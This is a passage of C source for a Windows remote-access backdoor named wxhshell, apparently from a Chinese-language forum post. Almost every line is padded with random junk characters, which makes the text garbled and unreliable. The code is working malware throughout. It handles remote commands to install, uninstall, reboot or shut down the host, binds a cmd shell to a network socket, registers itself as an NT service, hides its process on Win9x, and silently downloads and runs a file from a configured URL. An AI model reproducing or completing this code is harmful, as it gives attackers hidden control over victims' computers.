      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 200Fd8Ju  
    break; PJ'@!jx  
  } '>UQsAvm  
  // 安装 PL7_j  
  case 'i': { )7iYx{n  
    if(Install()) (M,*R v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .p\<niu7  
    else C-VkXk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )n$RHt+:>  
    break; T28Q(\C:}  
    } WO{9S%ck  
  // 卸载 E XQ 3(:&  
  case 'r': { ],Y+|uX->  
    if(Uninstall()) gOn^}%4.I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (%|L23  
    else  Tv~Ys#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XNB4KjT  
    break; Su[f"2oR  
    } Y_M3-H=0  
  // 显示 wxhshell 所在路径 x5!lnN,#  
  case 'p': { J ?H| "  
    char svExeFile[MAX_PATH]; P!lTK   
    strcpy(svExeFile,"\n\r"); hgF4PdO1e  
      strcat(svExeFile,ExeFile); FQikFy(YY  
        send(wsh,svExeFile,strlen(svExeFile),0); )cxML<j'  
    break; H,U qU3b3  
    } sTF Ru  
  // 重启 )Jd{WC.  
  case 'b': { m#t  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~@EBW3>~5  
    if(Boot(REBOOT)) Rs1JCP=d8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "\x\P)j0>  
    else { 2]-xmS>|b  
    closesocket(wsh); Z$ Mc{  
    ExitThread(0); +L<x0-&  
    } u[1'Ap  
    break; "pkn  
    } W8s/"  
  // 关机 NFlrr*=t>  
  case 'd': { %z AN@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .5?Md  
    if(Boot(SHUTDOWN)) ;p2a .P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Awl  
    else { j{;IiVHnR  
    closesocket(wsh); GbbD)  
    ExitThread(0); e=EM07z  
    } L9(!L$  
    break; bY7~b/  
    } ^1w*$5YI  
  // 获取shell @P}!mdH1  
  case 's': { rJ_fg$.<  
    CmdShell(wsh); '5m`[S-IU  
    closesocket(wsh); 'Lv>!s 7  
    ExitThread(0); / ,#&Htk  
    break; :TN^}RML  
  } p+d?k"WN?  
  // 退出 k6W  [//  
  case 'x': { pbb6?R,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F5;x>;r  
    CloseIt(wsh); <ooRpn  
    break; *[[TDduh&  
    } V/i7Zh#2:  
  // 离开 !Typ_Cs  
  case 'q': { vaUUesytt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0`l(c  
    closesocket(wsh); E7UYJ)6]  
    WSACleanup(); Qg4g(0E@  
    exit(1); @+ U++  
    break; :6X?EbXhK  
        } L BP|  
  } (3M7RpsL@  
  } U `<?~Bz  
\%011I4  
  // 提示信息 S) [$F}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^\zf8kPti  
} Um\_G@  
  } A/{0J\pA  
- d(RK_  
  return; SRf .8j  
} G%RhNwm  
mBZg(TY  
// shell模块句柄 gw);b)&mx  
int CmdShell(SOCKET sock) _f5n t:-  
{ 8]-c4zK  
STARTUPINFO si; -?&s6XA%#  
ZeroMemory(&si,sizeof(si)); b".e6zev  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WF0[/Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A('_.J=  
PROCESS_INFORMATION ProcessInfo; O*zF` 9  
char cmdline[]="cmd"; &fYV FRVkq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .kkrU  
  return 0; KQ(7%W  
} F-2&P:sjQ  
' Zmslijf  
// 自身启动模式 b#[7A  
int StartFromService(void) IHlTp0?  
{ q-)Ynp4'  
typedef struct c- {;P>L  
{ `;fk,\8t%  
  DWORD ExitStatus; P_f^gB7  
  DWORD PebBaseAddress; |&]04  
  DWORD AffinityMask; my^2}>wi  
  DWORD BasePriority; C0@[4a$8f  
  ULONG UniqueProcessId; B&oP0 jS  
  ULONG InheritedFromUniqueProcessId; d;9F2,k$w  
}   PROCESS_BASIC_INFORMATION; G`" 9/FI7  
96$qH{]Ap  
PROCNTQSIP NtQueryInformationProcess; #+,O  
RRH[$jk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9!06R-h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ai,Nx:r   
5*W<6ia  
  HANDLE             hProcess; F ak"u'~  
  PROCESS_BASIC_INFORMATION pbi; k^Q>  
Lu@'Ee!>G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N }tiaL4  
  if(NULL == hInst ) return 0; QirS=H+~  
?pJUbZ#J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pZv>{=2hOS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zU1[+JJY"{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @ s2<y@  
M:? :EJ  
  if (!NtQueryInformationProcess) return 0; f^63<gqY  
S=bdue  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hRvj iK\  
  if(!hProcess) return 0; ?nya;Z-~Hc  
.:)nG(7f<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ') -Rv]xe  
)+ss)L EC  
  CloseHandle(hProcess); t$W~X~//  
R%Y#vUmBV{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;.<0lnV  
if(hProcess==NULL) return 0; aJi0!6oy  
9M&uQccY  
HMODULE hMod; CkJ\v%JAW  
char procName[255]; @3:oo /;  
unsigned long cbNeeded; A!&hjV`  
OAhCW*B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bq<DW/  
>x$.mXX{  
  CloseHandle(hProcess); f*}H4H EO  
jZ8#86/#{  
if(strstr(procName,"services")) return 1; // 以服务启动 ,`ZIW  
+bbhm0f  
  return 0; // 注册表启动 i!jR>+  
} *Bgk3(n)  
.^%!X!r  
// 主模块 _Bh ^<D-  
int StartWxhshell(LPSTR lpCmdLine) CQ+WBTiC  
{ *75?%l  
  SOCKET wsl; (t\ F>A  
BOOL val=TRUE; n 7Bua  
  int port=0; 2}^fhMS  
  struct sockaddr_in door; 1|c\^;cTkt  
6fOh *  
  if(wscfg.ws_autoins) Install(); H[a1n' "<:  
^l(Kj3gM  
port=atoi(lpCmdLine); "7*cF>FE8  
Mk-Rl  
if(port<=0) port=wscfg.ws_port; # ~SQujgB  
vQ/&iAyut  
  WSADATA data; E4nj*Lp~+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %j3 *j  
8=%%C:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @+3@Z?!SZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i"{ \ >  
  door.sin_family = AF_INET; x3JX}yCX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c9 UJ=  
  door.sin_port = htons(port); A $9^JF0$  
c8'! >#$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }LaRa.3  
closesocket(wsl); J,bE[52  
return 1; 9ntXLWK7e  
} ~HH#aXh*  
n2JwZ?  
  if(listen(wsl,2) == INVALID_SOCKET) { uD2v6x236  
closesocket(wsl); n' \poB?  
return 1; DhL]\ 4  
} '01ifA^  
  Wxhshell(wsl); ,KMt9 <  
  WSACleanup(); %S<0l@=5`l  
_Co*"hl>2  
return 0; JDyP..Dt  
A{ :PpYs  
} )9L:^i6  
?y\gjC6CNG  
// 以NT服务方式启动 ~9OART='  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $ 'B0ZL  
{ *[(}rpp M  
DWORD   status = 0; y3 R+060\3  
  DWORD   specificError = 0xfffffff; L;7x2&  
0t-!6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @@,l0/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1HF=,K+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g?'4G$M  
  serviceStatus.dwWin32ExitCode     = 0; c:/ H}2/C  
  serviceStatus.dwServiceSpecificExitCode = 0; >^8=_i !  
  serviceStatus.dwCheckPoint       = 0; =c-,uW11[  
  serviceStatus.dwWaitHint       = 0; 1?6;Oc^  
[HKTXF{n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i U^tv_1  
  if (hServiceStatusHandle==0) return; <4gT8 kQ$x  
.."=  
status = GetLastError(); D=w5Lks  
  if (status!=NO_ERROR) _oB!-#  
{ @c<*l+Qc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )>]~Y  
    serviceStatus.dwCheckPoint       = 0; Wb_'X |"u  
    serviceStatus.dwWaitHint       = 0; Wgt[ACioN  
    serviceStatus.dwWin32ExitCode     = status; OIuEC7XM^C  
    serviceStatus.dwServiceSpecificExitCode = specificError; O43emL3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #)aUKFX  
    return; /mb?C/CI  
  } ;$Eg4uX  
@w)Vt $+b]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1CkBfK  
  serviceStatus.dwCheckPoint       = 0; l@x/{0  
  serviceStatus.dwWaitHint       = 0; ,Qgxf';+$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >Jl(9)e  
} Ix;9D'^}  
W?5u O  
// 处理NT服务事件,比如:启动、停止 T9@W,0#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ylc[ghx  
{ )F\tU  
switch(fdwControl) bp06xHMu  
{ ohFUy}y  
case SERVICE_CONTROL_STOP: - I$qe Xy  
  serviceStatus.dwWin32ExitCode = 0; i)Hjmf3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $nB4Ie!WcR  
  serviceStatus.dwCheckPoint   = 0; y{.s 4NT  
  serviceStatus.dwWaitHint     = 0; %<|w:z$vp  
  { Jl-Lz03YG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mCa [?  
  } }{J5)\s9  
  return; l .8@F  
case SERVICE_CONTROL_PAUSE: 6dG:3n}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wzr3 y}fCe  
  break; u? a*bW  
case SERVICE_CONTROL_CONTINUE: JmJ8s hq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J1waiOh  
  break; ,4bqjkX5q  
case SERVICE_CONTROL_INTERROGATE: "T`Q,  
  break; xwZcO  
}; H'fmQf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a9CY,+ z5B  
} XwKB+Yj0  
r sf +dC  
// 标准应用程序主函数 ]V,wIy C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Sga/i?!  
{ nATEv2:G  
Voi`OCut  
// 获取操作系统版本 fdIO'L_  
OsIsNt=GetOsVer(); > .L\>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1 m)WM,L  
gpBpG  
  // 从命令行安装 ^-, aB  
  if(strpbrk(lpCmdLine,"iI")) Install(); UN7>c0B  
"r6DZi(^K  
  // 下载执行文件 }B=`nbgIG7  
if(wscfg.ws_downexe) { orB8q((  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;(cq aB  
  WinExec(wscfg.ws_filenam,SW_HIDE); #$&!)13  
} k_p4 f%9  
|[ymNG  
if(!OsIsNt) { *_ 2db   
// 如果时win9x,隐藏进程并且设置为注册表启动 D<=:9  
HideProc(); nE!h&}(  
StartWxhshell(lpCmdLine); |K(j}^1k  
} sb"etc`w%-  
else y^vB_[6l  
  if(StartFromService()) -nbo[K  
  // 以服务方式启动 86c@Kk7z  
  StartServiceCtrlDispatcher(DispatchTable); :wn9bCom?M  
else f%Y'7~9bA  
  // 普通方式启动 a?4'',~  
  StartWxhshell(lpCmdLine); Nwu,:}T  
={[s)G  
return 0; VKcO]_W1  
}
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只看该作者 1 发表于: 2006-10-10
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